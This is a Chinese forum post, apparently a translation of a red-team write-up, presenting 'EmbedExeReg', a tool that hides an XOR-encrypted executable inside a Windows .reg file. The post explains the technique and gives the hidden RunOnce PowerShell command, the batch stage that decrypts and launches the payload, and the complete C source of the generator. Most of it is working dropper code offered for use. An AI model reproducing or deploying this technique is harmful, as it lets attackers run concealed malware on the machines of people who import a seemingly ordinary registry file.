DecoyMini 技术交流社区 (吉沃科技)

 找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
热搜: 对外ip
查看: 25493|回复: 0

[技术前沿] EmbedExeReg - 在 .REG 文件中嵌入 exe 并自动执行

[复制链接]

189

主题

35

回帖

30

荣誉

Rank: 9Rank: 9Rank: 9

UID
2
积分
355
精华
1
沃币
2 枚
注册时间
2021-6-24

论坛管理

发表于 2022-8-3 16:59:58 | 显示全部楼层 |阅读模式

今年早些时候,我发布了一个名为 "EmbedExeLnk" 的 PoC 项目 —— 该工具将生成一个包含嵌入式 EXE payload 的 Windows lnk 文件。与该项目相似,另外我创建了一个工具来生成包含 EXE payload 的 Windows 注册表 .reg 文件。

.reg 文件包含要导入的注册表项和值的纯文本列表,这意味着我们可以安排一个程序在下次启动时运行:

  1. REGEDIT4

  2. [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
  3. "StartupEntryName"="C:\\test\\program.exe"
复制代码

由于 Run/RunOnce 键允许将参数传递给目标 EXE,我们可以使用它来执行脚本。以最简单的形式可以在此处插入 PowerShell 命令以从远程服务器下载并执行 EXE。但是,与之前的 .lnk PoC 一样,想更进一步,不需要额外下载。

首先将一些随机二进制数据附加到有效 .reg 文件的末尾,以查看是否会显示错误。幸运的是,注册表项已正确导入,并且没有出现错误消息 - 到达二进制数据时它静默失败。这意味着将我们的 EXE payload 附加到 .reg 文件的末尾是安全的。

现在我们有了一个包含主要 payload 的 .reg 文件,我们需要创建一个启动命令来执行嵌入式程序。由于payload 将在下次重启后执行,我们在这里遇到的第一个问题是不知道 .reg 文件在目标计算机上的存储位置。我们不想硬编码特定路径,因此我们将编写一个 PowerShell 命令来在重新启动后自行定位硬盘上的 .reg 文件。

下一个问题是我们无法直接从 .reg 文件执行 payload,因为 EXE 数据存储在文件末尾。这意味着 PowerShell 命令还需要从 .reg 文件中提取 EXE 数据,并在执行之前将其复制到单独的 .exe 文件中。

我创建了一个 PowerShell 命令来执行上面列出的所有操作 - 当直接从 cmd.exe 成功运行,但在插入 RunOnce 注册表项时根本没有执行。在花了一些时间调查此问题后,我发现 Run/RunOnce 注册表项的最大值长度似乎约为 256 个字符。如果一个值超过这个长度,它会被忽略。我的命令长度超过 500 个字符,这就解释了为什么它最初不起作用。

可以采取多种途径来解决命令长度问题,我决定在加载链中添加一个额外的 "阶段" 以实现最大的灵活性 - .reg 文件还将包含一个嵌入的 .bat 文件。原始命令中的大部分逻辑将移至 .bat 数据中,并且 RunOnce 值将包含一个简约的 PowerShell 命令来执行嵌入的批处理文件。

  1. cmd.exe /c "PowerShell -windowstyle hidden $reg = gci -Path C:\ -Recurse *.reg ^| where-object {$_.length -eq 0x000E7964} ^| select -ExpandProperty FullName -First 1; $bat = '%temp%\tmpreg.bat'; Copy-Item $reg -Destination $bat; ^& $bat;"
复制代码

我还对我为原始 EmbedExeLnk 项目编写的 EXE payload 使用了相同的基本 XOR 加密。

最终的 .reg 文件将具有以下结构:

  1. <.reg data>
  2. <.bat data>
  3. <.exe data>
复制代码

Example:

  1. REGEDIT4

  2. [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
  3. "startup_entry"="cmd.exe /c "PowerShell -windowstyle hidden $reg = gci -Path C:\\ -Recurse *.reg ^| where-object {$_.length -eq 0x000E7964} ^| select -ExpandProperty FullName -First 1; $bat = '%temp%\\tmpreg.bat'; Copy-Item $reg -Destination $bat; ^& $bat;""

  4. \xFF\xFF

  5. cmd /c "PowerShell -windowstyle hidden $file = gc '%temp%\\tmpreg.bat' -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x77 }; $path = '%temp%\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file^| select -Skip 000640)) -Encoding Byte; ^& $path;"
  6. exit

  7. <encrypted .exe payload data>
复制代码

上面的示例文件可以分为 3 个部分:

原始 .reg 数据

这会在 HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce 键中创建一个名为 startup_entry 的值。这将导致计算机下次启动时执行以下命令:

  1. cmd.exe /c "PowerShell -windowstyle hidden $reg = gci -Path C:\ -Recurse *.reg ^| where-object {$_.length -eq 0x000E7964} ^| select -ExpandProperty FullName -First 1; $bat = '%temp%\tmpreg.bat'; Copy-Item $reg -Destination $bat; ^& $bat;"
复制代码

此命令在 C:\drive 中搜索与指定文件大小 (在本例中为 0x000E7964) 匹配的 .reg 文件以定位自身,然后将这个 .reg 文件复制到 TEMP 目录中,命名为 tmpreg.bat 并执行。

该文件在初始 .reg 数据之后包含 \xFF\xFF - 这不是绝对必要的,但我添加它是为了确保注册表导入解析器失败并在此时停止。

嵌入 .bat 数据

下一个数据块包含嵌入的 .bat 命令:

  1. cmd /c "PowerShell -windowstyle hidden $file = gc '%temp%\\tmpreg.bat' -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x77 }; $path = '%temp%\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file^| select -Skip 000640)) -Encoding Byte; ^& $path;"
  2. exit
复制代码

此命令从当前文件的末尾提取主 EXE payload。EXE 起始点的偏移量由生成器工具硬编码 (在本例中为 640 字节)。EXE 被复制到 TEMP 目录,解密并执行。

注意:当这个 .bat 文件被执行时,它也会在到达 .bat 内容之前执行原始 .reg 文件中的行。这不应该有任何不利影响,因为它们不是有效的命令。

嵌入 .exe 数据

最后一个数据块包含加密的 .exe payload。



此方法的主要缺点是需要管理员权限才能导入 .reg 文件,另一个缺点是主 payload 在下次重新启动之前不会执行,这意味着如果用户在此之前删除 .reg 文件,它将根本不会执行。虽然不是好的做法,但由于各种原因,.reg 文件通常仍通过组织内部的电子邮件在内部共享,这意味着它们可能对对手的模拟操作有用。

全部代码:

  1. #include <stdio.h>
  2. #include <windows.h>

  3. DWORD CreateRegFile(char *pExePath, char *pOutputRegPath)
  4. {
  5.         char szRegEntry[1024];
  6.         char szBatEntry[1024];
  7.         char szStartupName[64];
  8.         BYTE bXorEncryptValue = 0;
  9.         HANDLE hRegFile = NULL;
  10.         HANDLE hExeFile = NULL;
  11.         DWORD dwExeFileSize = 0;
  12.         DWORD dwTotalFileSize = 0;
  13.         DWORD dwExeFileOffset = 0;
  14.         BYTE *pCmdLinePtr = NULL;
  15.         DWORD dwBytesRead = 0;
  16.         DWORD dwBytesWritten = 0;
  17.         char szOverwriteSearchRegFileSizeValue[16];
  18.         char szOverwriteSkipBytesValue[16];
  19.         BYTE bExeDataBuffer[1024];

  20.         // set xor encrypt value
  21.         bXorEncryptValue = 0x77;

  22.         // set startup entry name
  23.         memset(szStartupName, 0, sizeof(szStartupName));
  24.         strncpy(szStartupName, "startup_entry", sizeof(szStartupName) - 1);

  25.         // generate reg file data (append 0xFF characters at the end to ensure the registry parser breaks after importing the first entry)
  26.         memset(szRegEntry, 0, sizeof(szRegEntry));
  27.         _snprintf(szRegEntry, sizeof(szRegEntry) - 1,
  28.                 "REGEDIT4\r\n"
  29.                 "\r\n"
  30.                 "[HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce]\r\n"
  31.                 ""%s"="cmd.exe /c \\"powershell -windowstyle hidden $reg = gci -Path C:\\\\ -Recurse *.reg ^| where-object {$_.length -eq 0x00000000} ^| select -ExpandProperty FullName -First 1; $bat = '%%temp%%\\\\tmpreg.bat'; Copy-Item $reg -Destination $bat; ^& $bat;\\""\r\n"
  32.                 "\r\n"
  33.                 "\xFF\xFF\r\n"
  34.                 "\r\n", szStartupName);

  35.         // generate bat file data
  36.         memset(szBatEntry, 0, sizeof(szBatEntry));
  37.         _snprintf(szBatEntry, sizeof(szBatEntry) - 1,
  38.                 "cmd /c "powershell -windowstyle hidden $file = gc '%%temp%%\\\\tmpreg.bat' -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x%02X }; $path = '%%temp%%\\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file^| select -Skip 000000)) -Encoding Byte; ^& $path;"\r\n"
  39.                 "exit\r\n", bXorEncryptValue);

  40.         // create output reg file
  41.         hRegFile = CreateFile(pOutputRegPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
  42.         if(hRegFile == INVALID_HANDLE_VALUE)
  43.         {
  44.                 printf("Failed to create output file\n");

  45.                 return 1;
  46.         }

  47.         // open target exe file
  48.         hExeFile = CreateFile(pExePath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  49.         if(hExeFile == INVALID_HANDLE_VALUE)
  50.         {
  51.                 printf("Failed to open exe file\n");

  52.                 // error
  53.                 CloseHandle(hRegFile);

  54.                 return 1;
  55.         }

  56.         // store exe file size
  57.         dwExeFileSize = GetFileSize(hExeFile, NULL);

  58.         // calculate total file size
  59.         dwTotalFileSize = strlen(szRegEntry) + strlen(szBatEntry) + dwExeFileSize;
  60.         memset(szOverwriteSearchRegFileSizeValue, 0, sizeof(szOverwriteSearchRegFileSizeValue));
  61.         _snprintf(szOverwriteSearchRegFileSizeValue, sizeof(szOverwriteSearchRegFileSizeValue) - 1, "0x%08X", dwTotalFileSize);

  62.         // calculate exe file offset
  63.         dwExeFileOffset = dwTotalFileSize - dwExeFileSize;
  64.         memset(szOverwriteSkipBytesValue, 0, sizeof(szOverwriteSkipBytesValue));
  65.         _snprintf(szOverwriteSkipBytesValue, sizeof(szOverwriteSkipBytesValue) - 1, "%06u", dwExeFileOffset);

  66.         // find the offset value of the total reg file length in the command-line arguments
  67.         pCmdLinePtr = (BYTE*)strstr(szRegEntry, "_.length -eq 0x00000000}");
  68.         if(pCmdLinePtr == NULL)
  69.         {
  70.                 // error
  71.                 CloseHandle(hExeFile);
  72.                 CloseHandle(hRegFile);

  73.                 return 1;
  74.         }
  75.         pCmdLinePtr += strlen("_.length -eq ");

  76.         // update value
  77.         memcpy((void*)pCmdLinePtr, (void*)szOverwriteSearchRegFileSizeValue, strlen(szOverwriteSearchRegFileSizeValue));

  78.         // find the offset value of the number of bytes to skip in the command-line arguments
  79.         pCmdLinePtr = (BYTE*)strstr(szBatEntry, "select -Skip 000000)");
  80.         if(pCmdLinePtr == NULL)
  81.         {
  82.                 // error
  83.                 CloseHandle(hExeFile);
  84.                 CloseHandle(hRegFile);

  85.                 return 1;
  86.         }
  87.         pCmdLinePtr += strlen("select -Skip ");

  88.         // update value
  89.         memcpy((void*)pCmdLinePtr, (void*)szOverwriteSkipBytesValue, strlen(szOverwriteSkipBytesValue));

  90.         // write szRegEntry
  91.         if(WriteFile(hRegFile, (void*)szRegEntry, strlen(szRegEntry), &dwBytesWritten, NULL) == 0)
  92.         {
  93.                 // error
  94.                 CloseHandle(hExeFile);
  95.                 CloseHandle(hRegFile);

  96.                 return 1;
  97.         }

  98.         // write szBatEntry
  99.         if(WriteFile(hRegFile, (void*)szBatEntry, strlen(szBatEntry), &dwBytesWritten, NULL) == 0)
  100.         {
  101.                 // error
  102.                 CloseHandle(hExeFile);
  103.                 CloseHandle(hRegFile);

  104.                 return 1;
  105.         }

  106.         // append exe file to the end of the reg file
  107.         for(;;)
  108.         {
  109.                 // read data from exe file
  110.                 if(ReadFile(hExeFile, bExeDataBuffer, sizeof(bExeDataBuffer), &dwBytesRead, NULL) == 0)
  111.                 {
  112.                         // error
  113.                         CloseHandle(hExeFile);
  114.                         CloseHandle(hRegFile);

  115.                         return 1;
  116.                 }

  117.                 // check for end of file
  118.                 if(dwBytesRead == 0)
  119.                 {
  120.                         break;
  121.                 }

  122.                 // "encrypt" the exe file data
  123.                 for(DWORD i = 0; i < dwBytesRead; i++)
  124.                 {
  125.                         bExeDataBuffer[i] ^= bXorEncryptValue;
  126.                 }

  127.                 // write data to reg file
  128.                 if(WriteFile(hRegFile, bExeDataBuffer, dwBytesRead, &dwBytesWritten, NULL) == 0)
  129.                 {
  130.                         // error
  131.                         CloseHandle(hExeFile);
  132.                         CloseHandle(hRegFile);

  133.                         return 1;
  134.                 }
  135.         }

  136.         // close exe file handle
  137.         CloseHandle(hExeFile);

  138.         // close output file handle
  139.         CloseHandle(hRegFile);

  140.         return 0;
  141. }

  142. int main(int argc, char *argv[])
  143. {
  144.         char *pExePath = NULL;
  145.         char *pOutputRegPath = NULL;

  146.         printf("EmbedExeReg - www.x86matthew.com\n\n");

  147.         if(argc != 3)
  148.         {
  149.                 printf("Usage: %s [exe_path] [output_reg_path]\n\n", argv[0]);

  150.                 return 1;
  151.         }

  152.         // get params
  153.         pExePath = argv[1];
  154.         pOutputRegPath = argv[2];

  155.         // create a reg file containing the target exe
  156.         if(CreateRegFile(pExePath, pOutputRegPath) != 0)
  157.         {
  158.                 printf("Error\n");

  159.                 return 1;
  160.         }

  161.         printf("Finished\n");

  162.         return 0;
  163. }
复制代码

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|小黑屋|DecoyMini 技术交流社区 (吉沃科技) ( 京ICP备2021005070号 )

GMT+8, 2026-10-3 07:51 , Processed in 0.067382 second(s), 25 queries .

Powered by Discuz! X3.4

Copyright © 2001-2023, Tencent Cloud.

快速回复 返回顶部 返回列表